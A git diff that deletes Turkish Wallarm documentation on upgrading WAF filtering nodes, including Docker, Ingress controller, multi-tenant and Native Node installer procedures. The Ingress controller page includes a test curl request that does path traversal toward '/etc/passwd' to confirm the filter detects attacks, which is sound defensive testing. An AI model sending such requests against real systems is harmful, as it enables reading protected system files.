düğümü 6.x dosyalarına kopyalayın: - -* `/etc/nginx/nginx.conf` ve diğer NGINX ayar dosyaları -* Filtreleme düğümü izleme servisi ayarlarını içeren `/etc/nginx/wallarm-status.conf` (veya `/etc/nginx/conf.d/wallarm-status.conf`) -* Ortam değişkenlerini içeren `/etc/environment` -* İstek işleme ve proxy’leme için diğer özel yapılandırma dosyaları, ör. `/etc/nginx/sites-available/default` - -NGINX yapılandırma dosyalarıyla çalışma hakkında ayrıntılı bilgi [resmi NGINX dokümantasyonunda](https://nginx.org/docs/beginners_guide.html) mevcuttur. - -Filtreleme düğümü yönergelerinin listesi [burada](../admin-en/configure-parameters-en.md) mevcuttur. - -## Adım 4: NGINX’i yeniden başlatın - -Ayarları uygulamak için NGINX’i yeniden başlatın: - -```bash -sudo systemctl restart nginx -``` - -## Adım 5: Wallarm düğümünün çalışmasını test edin - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## Adım 6: AWS veya GCP’de filtreleme düğümü 6.x’e dayalı sanal makine imajı oluşturun - -Filtreleme düğümü 6.x’e dayalı sanal makine imajı oluşturmak için lütfen [AWS](../admin-en/installation-guides/amazon-cloud/create-image.md) veya [GCP](../admin-en/installation-guides/google-cloud/create-image.md) talimatlarını izleyin. - -## Adım 7: Önceki Wallarm düğümü örneğini silin - -Yeni sürüm filtreleme düğümü başarıyla yapılandırılıp test edildiyse, AWS veya GCP yönetim konsolunu kullanarak önceki sürüme ait filtreleme düğümü örneğini ve sanal makine imajını kaldırın. \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/docker-container.md b/docs/latest-tr/updating-migrating/docker-container.md deleted file mode 100644 index c99248b4c0..0000000000 --- a/docs/latest-tr/updating-migrating/docker-container.md +++ /dev/null @@ -1,93 +0,0 @@ -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md -[blocking-page-instr]: ../admin-en/configuration-guides/configure-block-page-and-code.md -[logging-instr]: ../admin-en/configure-logging.md -[proxy-balancer-instr]: ../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: ../admin-en/configuration-guides/allocate-resources-for-node.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png -[nginx-process-time-limit-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[api-policy-enf-docs]: ../api-specification-enforcement/overview.md -[link-wallarm-health-check]: ../admin-en/uat-checklist-en.md - -# Docker NGINX tabanlı imajı yükseltme - -Bu talimatlar, çalışan Docker NGINX tabanlı imajı en son 6.x sürümüne yükseltme adımlarını açıklar. - -!!! warning "Mevcut Wallarm düğümünün kimlik bilgilerini kullanma" - Önceki sürümden kalma mevcut Wallarm düğümünü kullanmanızı önermiyoruz. Lütfen 6.x sürümünde yeni bir filtreleme düğümü oluşturmak ve bunu Docker konteyneri olarak dağıtmak için bu talimatları izleyin. - -Kullanım ömrü sona ermiş düğümü (3.6 veya altı) yükseltmek için lütfen [farklı talimatları](older-versions/docker-container.md) kullanın. - -## Gereksinimler - ---8<-- "../include/waf/installation/requirements-docker-nginx-latest.md" - -## Adım 1: Güncellenmiş filtreleme düğümü imajını indirin - -``` bash -docker pull wallarm/node:6.5.1 -``` - -## Adım 2: Çalışan konteyneri durdurun - -```bash -docker stop -``` - -## Adım 3: Yeni imajı kullanarak konteyneri çalıştırın - -1. 5.x veya daha eski bir sürümden yükseltiyorsanız, lütfen aşağıdaki önemli değişiklikleri dikkate alın: - - * Daha önce `TARANTOOL_MEMORY_GB` ortam değişkeni aracılığıyla postanalytics belleğini yapılandırdıysanız, bunu `SLAB_ALLOC_ARENA` olarak yeniden adlandırın. - * Özel NGINX yapılandırma dosyaları bağlanmış şekilde Docker konteynerini çalıştırıyorsanız: - - * `/etc/nginx/nginx.conf` içindeki `include` yolları, Alpine Linux dizin kurallarıyla uyumlu olacak şekilde değişti: - - ```diff - ... - - - include /etc/nginx/modules-enabled/*.conf; - + include /etc/nginx/modules/*.conf; - - ... - - http { - - include /etc/nginx/sites-enabled/*; - + include /etc/nginx/http.d/*; - } - ``` - - * `/etc/nginx/conf.d/wallarm-status.conf` içinde, `allow` yönergesinin (izin verilen IP adreslerini tanımlamak için kullanılır) varsayılan değeri değişti: - - ```diff - ... - - - allow 127.0.0.8/8; - + allow 127.0.0.0/8; - - ... - ``` - - * Sanal host yapılandırma dosyalarının bağlanacağı yol `/etc/nginx/sites-enabled/default` iken `/etc/nginx/http.d` olarak değişti. -1. Wallarm Console → **Settings** → **API Tokens** bölümüne gidin ve kullanım türü **Node deployment/Deployment** olan bir token oluşturun. -1. Oluşturulan token'ı kopyalayın. -1. Yeni imajı kullanarak konteyneri çalıştırın ve güncellenmiş yapılandırmayı uygulayın. - - Güncellenmiş imajla konteyneri çalıştırmanın iki seçeneği vardır: - - * [Ortam değişkenleriyle](../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables) - * [Bağlanan yapılandırma dosyasında](../admin-en/installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -## Adım 4: Filtreleme düğümünün çalışmasını test edin - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## Adım 5: Önceki sürümün filtreleme düğümünü silin - -Dağıtılan 6.x sürüm imajı düzgün çalışıyorsa, Wallarm Console → **Nodes** içinde önceki sürümün filtreleme düğümünü silebilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/general-recommendations.md b/docs/latest-tr/updating-migrating/general-recommendations.md deleted file mode 100644 index b9eaf364fb..0000000000 --- a/docs/latest-tr/updating-migrating/general-recommendations.md +++ /dev/null @@ -1,57 +0,0 @@ -# Güvenli Node Yükseltme Önerileri - -Bu belge, Wallarm Node'larının güvenli yükseltilmesi için önerileri ve ilgili riskleri açıklar. - -## Genel öneriler - -* Filtreleme node'u güncelleme sürecini dikkatle planlayın ve izleyin. Wallarm node'larının yeni sürümlerine ilişkin tahmini yayın tarihleri [Wallarm node sürümleme politikası](versioning-policy.md) içinde yayınlanır. -* Altyapınızda birden fazla Wallarm node kuruluysa, bunları kademeli olarak güncelleyin. İlk node'u güncelledikten sonra, bir gün boyunca node modüllerinin çalışmasını izleyin ve ilk node düzgün çalışıyorsa diğer Wallarm node'ları kademeli olarak güncelleyin. -* Geliştirme ve üretim ortamları ayrılmış modelde, filtreleme node'unu kademeli olarak güncelleyin. Önce yeni sürümü üretim dışı ortamlara uygulayın ve test edin, ardından üretim ortamlarında uygulayın. -* Filtreleme node'unu yükseltmeden önce, node üzerinden trafik yönlendirmesini mevcut yöntemlerden herhangi biriyle devre dışı bırakın (ör. [trafik filtreleme modu](../admin-en/configure-wallarm-mode.md) değerini `off` olarak ayarlayarak). -* Filtreleme node modülü yükseltildikten sonra node filtreleme modunu `monitoring` olarak ayarlayın. Tüm modüller doğru çalışıyorsa ve `monitoring` modunda bir gün boyunca anormal sayıda yeni yanlış pozitif yoksa, filtreleme node'unu `block` moduna alın. -* Eğer [NGINX node](../installation/nginx-native-node-internals.md#nginx-node) kullanıyorsanız, Wallarm node güncellemelerini uygulamadan önce NGINX'i mevcut en son sürüme yükseltin. Altyapınız belirli bir NGINX sürümünü kullanmak zorundaysa, özel bir NGINX sürümü için Wallarm modülünün derlenmesi amacıyla lütfen [Wallarm teknik destek](mailto:support@wallarm.com) ile iletişime geçin. - -## Olası riskler - -Aşağıda, filtreleme node'unu güncellerken ortaya çıkabilecek riskler yer almaktadır. Risklerin etkisini azaltmak için güncelleme sırasında ilgili yönergeleri izleyin. - -### Değişen işlevsellik - -* [Wallarm Node 6.x ve 0.14.x+ içindeki yenilikler](what-is-new.md) -* [EOL node'u (3.6 veya daha düşük) yükseltiyorsanız neler yeni](older-versions/what-is-new.md) - -### Yeni yanlış pozitifler - -Filtreleme node'unun her yeni sürümüyle trafik analizini geliştiriyoruz. Bu, her yeni sürümle yanlış pozitif sayısının azaldığı anlamına gelir. Ancak, korunan her uygulamanın kendine özgü özellikleri vardır, bu nedenle engelleme modunu (`block`) etkinleştirmeden önce yeni filtreleme node sürümünün `monitoring` modundaki çalışmasını analiz etmenizi öneririz. - -Güncellemeden sonra yeni yanlış pozitiflerin sayısını analiz etmek için: - -1. Filtreleme node'unun yeni sürümünü `monitoring` [modunda](../admin-en/configure-wallarm-mode.md) devreye alın ve filtreleme node'una trafik gönderin. -2. Bir süre sonra, Wallarm Console → Attacks bölümünü açın ve yanlışlıkla saldırı olarak tanınan isteklerin sayısını analiz edin. -3. Yanlış pozitif sayısında anormal bir artış tespit ederseniz, lütfen [Wallarm teknik destek](mailto:support@wallarm.com) ile iletişime geçin. - -### Kullanılan kaynak miktarında artış - -Bazı yeni filtreleme node özelliklerinin kullanımı, kullanılan kaynak miktarında değişikliklere neden olabilir. Kullanılan kaynak miktarındaki değişikliklerle ilgili bilgiler [Yenilikler](what-is-new.md) bölümünde vurgulanmıştır. - -Ayrıca filtreleme node'unun çalışmasını izlemeniz önerilir: belgelerde belirtilen miktarla fiilen kullanılan kaynak miktarı arasında önemli farklılıklar bulursanız, lütfen [Wallarm teknik destek](mailto:support@wallarm.com) ile iletişime geçin. - -## Güncelleme süreci - -Wallarm node güncelleme süreci, platforma ve kurulum biçimlerine bağlıdır. Lütfen kurulum biçimini seçin ve ilgili talimatları izleyin: - -* NGINX Node: - - * [NGINX, NGINX Plus için modüller](nginx-modules.md) - * [Hepsi bir arada yükleyici](all-in-one.md) - * [NGINX modülleriyle Docker konteyneri](docker-container.md) - * [Entegre Wallarm modüllerine sahip NGINX Ingress controller](ingress-controller.md) - * [Sidecar](sidecar-proxy.md) - * [Cloud node imajı](cloud-image.md) - * [Çok kiracılı node](multi-tenant.md) - * [Wallarm node 2.18 ve altından 6.x'e allowlist ve denylist'lerin taşınması](migrate-ip-lists-to-node-3.md) -* Native Node: - - * [Hepsi bir arada yükleyici](native-node/all-in-one.md) - * [Helm chart](native-node/helm-chart.md) - * [Docker imajı](native-node/docker-image.md) \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/ingress-controller.md b/docs/latest-tr/updating-migrating/ingress-controller.md deleted file mode 100644 index 263ac0ece3..0000000000 --- a/docs/latest-tr/updating-migrating/ingress-controller.md +++ /dev/null @@ -1,111 +0,0 @@ -[nginx-process-time-limit-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../user-guides/ip-lists/overview.md -[ip-list-docs]: ../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../api-specification-enforcement/overview.md - -# Entegre Wallarm modülleriyle NGINX Ingress controller'ı yükseltme - -Bu talimatlar, dağıtılmış Wallarm NGINX tabanlı Ingress Controller'ı en son 6.x sürümüne yükseltme adımlarını açıklar. - -Ömrü dolmuş node’u (3.6 veya daha düşük) yükseltmek için lütfen [farklı talimatları](older-versions/ingress-controller.md) kullanın. - -!!! warning - The Kubernetes community will [retire the Community Ingress NGINX in March 2026](https://blog.nginx.org/blog/the-ingress-nginx-alternative-open-source-nginx-ingress-controller-for-the-long-term). The Wallarm NGINX Ingress Controller based on this project will be supported through the same date. You can continue using it until then, and it will remain fully functional during the support window. - - Wallarm will provide alternative deployment options and migration guidance as they become available. [Details](../updating-migrating/nginx-ingress-retirement.md) - - An [Envoy/Istio-based connector](../installation/connectors/istio.md) is also available today for environments already using Envoy. - -## Gereksinimler - ---8<-- "../include/waf/installation/requirements-nginx-ingress-controller-6.x.md" - -## Adım 1: Wallarm Helm chart deposunu güncelleyin - -```bash -helm repo update wallarm -``` - -## Adım 2: Gelecek tüm K8s manifest değişikliklerini inceleyin - -Ingress controller davranışının beklenmedik şekilde değişmesini önlemek için, [Helm Diff Plugin](https://github.com/databus23/helm-diff) kullanarak gelecek tüm K8s manifest değişikliklerini inceleyin. Bu eklenti, dağıtılmış Ingress controller sürümünün K8s manifestleri ile yenisinin manifestleri arasındaki farkı çıktılar. - -Eklentiyi yüklemek ve çalıştırmak için: - -1. Eklentiyi yükleyin: - - ```bash - helm plugin install https://github.com/databus23/helm-diff - ``` -2. Eklentiyi çalıştırın: - - ```bash - helm diff upgrade -n wallarm/wallarm-ingress --version 6.5.1 -f - ``` - - * ``: Ingress controller chart’ına ait Helm sürümünün adı. - * ``: Ingress controller’ın dağıtıldığı namespace. - * ``: Ingress Controller 6.x ayarlarını içeren `values.yaml` dosyasının yolu. Önceki sürümün dosyasını yeniden kullanabilir, [Tarantool'dan wstore'a geçiş](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics) için güncelleyebilirsiniz. - - Helm değerleri yeniden adlandırıldı: `controller.wallarm.tarantool` → `controller.wallarm.postanalytics`. Postanalytics belleğini açıkça [ayırdıysanız](../admin-en/configuration-guides/allocate-resources-for-node.md), bu değişikliği `values.yaml` içinde uygulayın. - -3. Çalışan servislerin kararlılığını etkileyebilecek hiçbir değişiklik olmadığından emin olun ve stdout’taki hataları dikkatlice inceleyin. - - stdout boşsa, `values.yaml` dosyasının geçerli olduğundan emin olun. - -## Adım 3: Ingress controller’ı yükseltin - -!!! info "" - Değişiklikleri üretime almadan önce doğrulamak için NGINX Ingress Controller'ı önce bir hazırlık (staging) Kubernetes ortamında yükseltmeniz önerilir. - -Dağıtılmış NGINX Ingress controller’ı yükseltin: - -``` bash -helm upgrade -n wallarm/wallarm-ingress --version 6.5.1 -f -``` - -* ``: Ingress controller chart’ına ait Helm sürümünün adı -* ``: Ingress controller’ın dağıtıldığı namespace -* ``: Ingress Controller 6.x ayarlarını içeren `values.yaml` dosyasının yolu. Önceki sürümün dosyasını yeniden kullanabilir, [Tarantool'dan wstore'a geçiş](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics) için güncelleyebilirsiniz: - - Helm değerleri yeniden adlandırıldı: `controller.wallarm.tarantool` → `controller.wallarm.postanalytics`. Postanalytics belleğini açıkça [ayırdıysanız](../admin-en/configuration-guides/allocate-resources-for-node.md), bu değişikliği `values.yaml` içinde uygulayın. - -## Adım 4: Yükseltilmiş Ingress controller’ı test edin - -1. Helm chart sürümünün yükseltildiğinden emin olun: - - ```bash - helm list -n - ``` - - Burada ``, Ingress controller ile Helm chart’ın dağıtıldığı namespace’tir. - - Chart sürümü `wallarm-ingress-6.5.1` ile karşılık gelmelidir. -1. Wallarm pod’unu alın: - - ``` bash - kubectl get pods -n -l app.kubernetes.io/name=wallarm-ingress - ``` - - Pod durumu **STATUS: Running** ve **READY: N/N** olmalıdır: - - ``` - NAME READY STATUS RESTARTS AGE - ingress-controller-wallarm-ingress-controller-6d659bd79b-952gl 3/3 Running 0 8m7s - ingress-controller-wallarm-ingress-controller-wallarm-wstore-7ddmgbfm 3/3 Running 0 8m7s - ``` - - 5.x veya daha düşük bir sürümden yükseltme yapıyorsanız, artık ayrı bir Tarantool pod’u olmadığını fark edeceksiniz; wstore, ana `-wallarm-ingress-controller-xxx` pod’u içinde çalışır. -1. Wallarm Ingress controller adresine test amaçlı [Yol Geçişi](../attacks-vulns-list.md#path-traversal) saldırısı içeren isteği gönderin: - - ```bash - curl http:///etc/passwd - ``` - - Yeni sürümün çözümünün kötü amaçlı isteği önceki sürümde olduğu gibi işlediğini kontrol edin. - -Yükseltme hazırlık ortamında başarıyla doğrulandıktan sonra üretim ortamını yükseltmeye devam edin. \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/migrate-ip-lists-to-node-3.md b/docs/latest-tr/updating-migrating/migrate-ip-lists-to-node-3.md deleted file mode 100644 index e8259a3963..0000000000 --- a/docs/latest-tr/updating-migrating/migrate-ip-lists-to-node-3.md +++ /dev/null @@ -1,27 +0,0 @@ -# Wallarm node 2.18 ve alt sürümlerden 6.x'e izin ve engelleme listelerinin taşınması - -Wallarm node 3.x ile birlikte, IP adresi izin listesi (allowlist) ve engelleme listesi (denylist) yapılandırma yöntemi değişti. Bu belge, Wallarm node 2.18 veya daha eski sürümlerde yapılandırılmış izin ve engelleme listelerini en son Wallarm node sürümüne nasıl taşıyacağınızı açıklar. - -## Neler değişti? - -IP adresi izin ve engelleme listelerinin yapılandırılması şu şekilde değişti: - -* `wallarm_acl_*` NGINX yönergeleri ve `WALLARM_ACL_*` ortam değişkenleri kullanımdan kaldırıldı. Artık IP listeleri şu şekilde yapılandırılır: - - * IP allowlisting veya denylisting işlevini etkinleştirmek için ek adımlar gerekmez. Wallarm node varsayılan olarak IP adresi listelerini Wallarm Cloud üzerinden indirir ve gelen istekleri işlerken indirilmiş veriyi uygular. - * Engelleme sayfası ve engellenen isteğe yanıtta döndürülen hata kodu, `wallarm_acl_block_page` yerine [`wallarm_block_page`](../admin-en/configure-parameters-en.md#wallarm_block_page) yönergesi kullanılarak yapılandırılır. -* İzin verilen ve engellenen IP adresleri Wallarm Console üzerinden yönetilir. -* Şirket kaynaklarını güvenlik açıkları için taramak ve ek güvenlik testleri başlatmak amacıyla kullanılan [Wallarm'ın güvenlik açığı tarama IP'leri](../admin-en/scanner-addresses.md) varsayılan olarak allowlist edilir. Bu adreslerin manuel olarak allowlist edilmesi artık gerekli değildir. - -## İzin ve engelleme listesi yapılandırmasını taşıma prosedürü - -1. [Wallarm teknik desteğini](mailto:support@wallarm.com) en son sürüme güncelleme yaptığınızı bildirin ve Wallarm hesabınız için yeni IP listeleri mantığının etkinleştirilmesini talep edin. - - Yeni IP listeleri mantığı etkinleştirildiğinde, lütfen Wallarm Console'u açın ve [**IP lists**](../user-guides/ip-lists/overview.md) bölümünün mevcut olduğundan emin olun. -2. Çok kiracılı (multi-tenant) Wallarm node'u güncelliyorsanız, IP adresi engelleme listesini çok kiracılı 2.18 veya daha eski node ile senkronize etmek için kullanılan betikleri silin. 3.2 sürümünden itibaren [IP listeleri](../user-guides/ip-lists/overview.md) için manuel entegrasyon artık gerekli değildir. -3. Filtreleme düğümü modüllerini [uygun talimatları](general-recommendations.md#update-process) izleyerek 6.x sürümüne güncelleyin. -4. Şirket kaynaklarını güvenlik açıkları için taramak ve ek güvenlik testleri başlatmak amacıyla kullanılan [Wallarm'ın güvenlik açığı tarama IP'lerini](../admin-en/scanner-addresses.md) filtreleme düğümü yapılandırma dosyalarındaki allowlist'ten çıkarın. Filtreleme düğümünün 3.x sürümünden itibaren bu adresler varsayılan olarak allowlist edilir. -5. Filtreleme düğümü tarafından engellenmemesi gereken diğer IP adreslerini allowlist etmek için listelenen yöntemler kullanılıyorsa, bunları [Wallarm Console içindeki allowlist](../user-guides/ip-lists/overview.md)'e taşıyın. -6. Engellenen IP'den gelen isteklerde döndürülen engelleme sayfasını ve hata kodunu yapılandırmak için `wallarm_acl_block_page` yönergesini kullandıysanız, yönerge adını `wallarm_block_page` ile değiştirin ve değerini [talimatlara](../admin-en/configuration-guides/configure-block-page-and-code.md) uygun olarak güncelleyin. -7. `docker run` komutlarından [NGINX](../admin-en/installation-docker-en.md) ortam değişkenleri `WALLARM_ACL_*` öğelerini kaldırın. -8. (İsteğe bağlı) Filtreleme düğümü yapılandırma dosyalarından `wallarm_acl_*` NGINX yönergelerini kaldırın. \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/multi-tenant.md b/docs/latest-tr/updating-migrating/multi-tenant.md deleted file mode 100644 index b3f2e0e0e5..0000000000 --- a/docs/latest-tr/updating-migrating/multi-tenant.md +++ /dev/null @@ -1,33 +0,0 @@ -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png - -# Çok kiracılı düğümün yükseltilmesi - -Bu talimatlar, çok kiracılı düğümü en yeni 6.x sürümüne yükseltmek için adımları açıklar. - -Ömrü sona ermiş çok kiracılı düğümü (3.6 veya daha düşük) yükseltmek için lütfen [farklı talimatları](older-versions/multi-tenant.md) kullanın. - -## Gereksinimler - -* İlerleyen komutların, [technical tenant account](../installation/multi-tenant/overview.md#tenant-accounts) altında eklenmiş **Global administrator** rolüne sahip kullanıcı tarafından yürütülmesi -* US Wallarm Cloud ile çalışıyorsanız `https://us1.api.wallarm.com` ya da EU Wallarm Cloud ile çalışıyorsanız `https://api.wallarm.com` erişimi. Lütfen bu erişimin güvenlik duvarı tarafından engellenmediğinden emin olun -* Saldırı tespit kuralları ve API spesifikasyonları güncellemelerini indirmek ve allowlist'e, denylist'e veya graylist'e alınmış ülkeleriniz, bölgeleriniz ya da veri merkezleriniz için kesin IP'leri almak amacıyla aşağıdaki IP adreslerine erişim. - - --8<-- "../include/wallarm-cloud-ips.md" - -## Standart yükseltme prosedürünü izleyin - -Standart prosedürler şunlardır: - -* [DEB/RPM paketlerinden Wallarm'ı yükseltme](nginx-modules.md) -* [Hepsi bir arada yükleyici ile Wallarm'ı yükseltme](nginx-modules.md) -* [postanalytics modülünü yükseltme](separate-postanalytics.md) -* [Wallarm Docker NGINX tabanlı imajını yükseltme](docker-container.md) -* [Entegre Wallarm modülleri ile NGINX Ingress controller'ı yükseltme](ingress-controller.md) -* [Sidecar proxy'yi yükseltme](sidecar-proxy.md) -* [Bulut düğümü imajını yükseltme](cloud-image.md) - -!!! warning "Çok kiracılı düğümün oluşturulması" - Wallarm düğümü oluşturulurken, lütfen şu seçeneği belirleyin: **Multi-tenant node**: - - ![Çok kiracılı düğüm oluşturma](../images/user-guides/nodes/create-multi-tenant-node.png) \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/native-node/all-in-one.md b/docs/latest-tr/updating-migrating/native-node/all-in-one.md deleted file mode 100644 index 925d493623..0000000000 --- a/docs/latest-tr/updating-migrating/native-node/all-in-one.md +++ /dev/null @@ -1,181 +0,0 @@ -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md - -# All-in-One Installer ile Wallarm Native Node'u Yükseltme - -Bu talimatlar, [all-in-one yükleyici kullanılarak kurulan Native Node'un](../../installation/native-node/all-in-one.md) nasıl yükseltileceğini açıklar. - -[All-in-one yükleyici sürümlerini görüntüleyin](node-artifact-versions.md) - -## Gereksinimler - -* Linux işletim sistemi. -* x86_64/ARM64 mimarisi. -* Tüm komutların süper kullanıcı olarak (örn. `root`) çalıştırılması. -* Aşağıdakilere giden erişim: - - * Wallarm yükleyicisini indirmek için `https://meganode.wallarm.com` - * US/EU Wallarm Cloud için `https://us1.api.wallarm.com` veya `https://api.wallarm.com` - * Saldırı tespit kuralları ve [API tanımları][api-spec-enforcement-docs] güncellemelerini indirmek ve ayrıca [izin verilen, engellenen veya gri listeye alınmış][ip-list-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP'leri almak amacıyla aşağıdaki IP adresleri - - --8<-- "../include/wallarm-cloud-ips.md" -* Bunlara ek olarak, Wallarm Console'da size atanan **Administrator** rolüne sahip olmalısınız. - -## 1. Yeni yükleyici sürümünü indirin - -Geçerli Native Node'unuzun çalıştığı makineye en son yükleyici sürümünü indirin: - -=== "x86_64 sürümü" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.17.1.x86_64.sh - chmod +x aio-native-0.17.1.x86_64.sh - ``` -=== "ARM64 sürümü" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.17.1.aarch64.sh - chmod +x aio-native-0.17.1.aarch64.sh - ``` - -## 2. Yeni yükleyiciyi çalıştırın - -Yeni yükleyiciyi aşağıda gösterildiği gibi çalıştırın. Bu işlem, şu anda çalışan Wallarm servislerini durdurur ve ardından yeni sürümün servislerini otomatik olarak başlatır. - -Önceden oluşturulmuş [`Node deployment/Deployment` kullanım türü için API token'ını](../../user-guides/settings/api-tokens.md) ve düğüm grup adını yeniden kullanabilirsiniz. - -Yapılandırma dosyası için, ilk kurulum sırasında kullanılan dosyayı yeniden kullanabilirsiniz. Yalnızca gerekirse yeni parametreler ekleyin veya mevcutları değiştirin - [desteklenen yapılandırma seçeneklerine](../../installation/native-node/all-in-one-conf.md) bakın. - -=== "connector-server" - `connector-server` modu, self-hosted düğümü MuleSoft [Mule](../../installation/connectors/mulesoft.md) veya [Flex](../../installation/connectors/mulesoft-flex.md) Gateway, [Akamai](../../installation/connectors/akamai-edgeworkers.md), [CloudFront](../../installation/connectors/aws-lambda.md), [Cloudflare](../../installation/connectors/cloudflare.md), [Broadcom Layer7 API Gateway](../../installation/connectors/layer7-api-gateway.md), [Fastly](../../installation/connectors/fastly.md), [IBM DataPower](../../installation/connectors/ibm-api-connect.md) bağlayıcısı ile dağıttığınızda kullanılır. - - !!! info "Node sürümü 0.12.x veya altından yükseltiliyorsa" - Node sürümü 0.12.x veya altından yükseltiliyorsa, ilk yapılandırma dosyasındaki (`wallarm-node-conf.yaml`, varsayılan kurulum talimatlarına göre) `version` değerinin güncellendiğinden ve `tarantool_exporter` bölümünün (açıkça belirtilmişse) `postanalytics_exporter` olarak yeniden adlandırıldığından emin olun: - - ```diff - -version: 2 - +version: 4 - - -tarantool_exporter: - +postanalytics_exporter: - address: 127.0.0.1:3313 - enabled: true - - ... - ``` - - x86_64 yükleyici sürümü için: - - ```bash - # ABD Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com --preserve false - - # AB Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com --preserve false - ``` - - ARM64 yükleyici sürümü için: - - ```bash - # ABD Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com --preserve false - - # AB Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com --preserve false - ``` -=== "tcp-capture" - `tcp-capture` modu, [TCP trafiği analizi](../../installation/oob/tcp-traffic-mirror/deployment.md) için self-hosted düğüm dağıttığınızda kullanılır. - - !!! info "Node sürümü 0.12.1 veya altından yükseltiliyorsa" - Node sürümü 0.12.0 veya altından yükseltiliyorsa, ilk yapılandırma dosyasındaki (`wallarm-node-conf.yaml`, varsayılan kurulum talimatlarına göre) `version` değerinin güncellendiğinden ve daha önce `middleware` bölümünde ayarlanmış parametrelerin `goreplay` bölümüne taşındığından emin olun: - - ```diff - -version: 2 - +version: 4 - - -middleware: - +goreplay: - parse_responses: true - response_timeout: 5s - url_normalize: true - - ... - ``` - - x86_64 yükleyici sürümü için yükseltme komutu: - - ```bash - # ABD Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com --preserve false - - # AB Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com --preserve false - ``` - - ARM64 yükleyici sürümü için yükseltme komutu: - - ```bash - # ABD Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com --preserve false - - # AB Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com --preserve false - ``` -=== "envoy-external-filter" - `envoy-external-filter` modu, Istio tarafından yönetilen API'ler için [gRPC tabanlı harici işleme filtresinde](../../installation/connectors/istio.md) kullanılır. - - x86_64 yükleyici sürümü için yükseltme komutu: - - ```bash - # ABD Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=envoy-external-filter --go-node-config= --host us1.api.wallarm.com --preserve false - - # AB Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=envoy-external-filter --go-node-config= --host api.wallarm.com --preserve false - ``` - - ARM64 yükleyici sürümü için yükseltme komutu: - - ```bash - # ABD Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=envoy-external-filter --go-node-config= --host us1.api.wallarm.com --preserve false - - # AB Bulutu - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=envoy-external-filter --go-node-config= --host api.wallarm.com --preserve false - ``` - -* `WALLARM_LABELS` değişkeni, düğümün ekleneceği grubu ayarlar (Wallarm Console UI'de düğümlerin mantıksal gruplaması için kullanılır). -* ``, `Node deployment/Deployment` kullanım türü için oluşturulmuş API token'ını belirtir. -* ``, yapılandırma dosyasının yolunu belirtir. - -Geçerli `/opt/wallarm/etc/wallarm/go-node.yaml`, `/opt/wallarm/etc/wallarm/node.yaml` ve günlük dosyalarınız `/opt/wallarm/aio-backups/` dizinine yedeklenecektir. - -## 3. Yükseltmeyi doğrulayın - -Düğümün doğru çalıştığını doğrulamak için: - -1. Günlüklerde herhangi bir 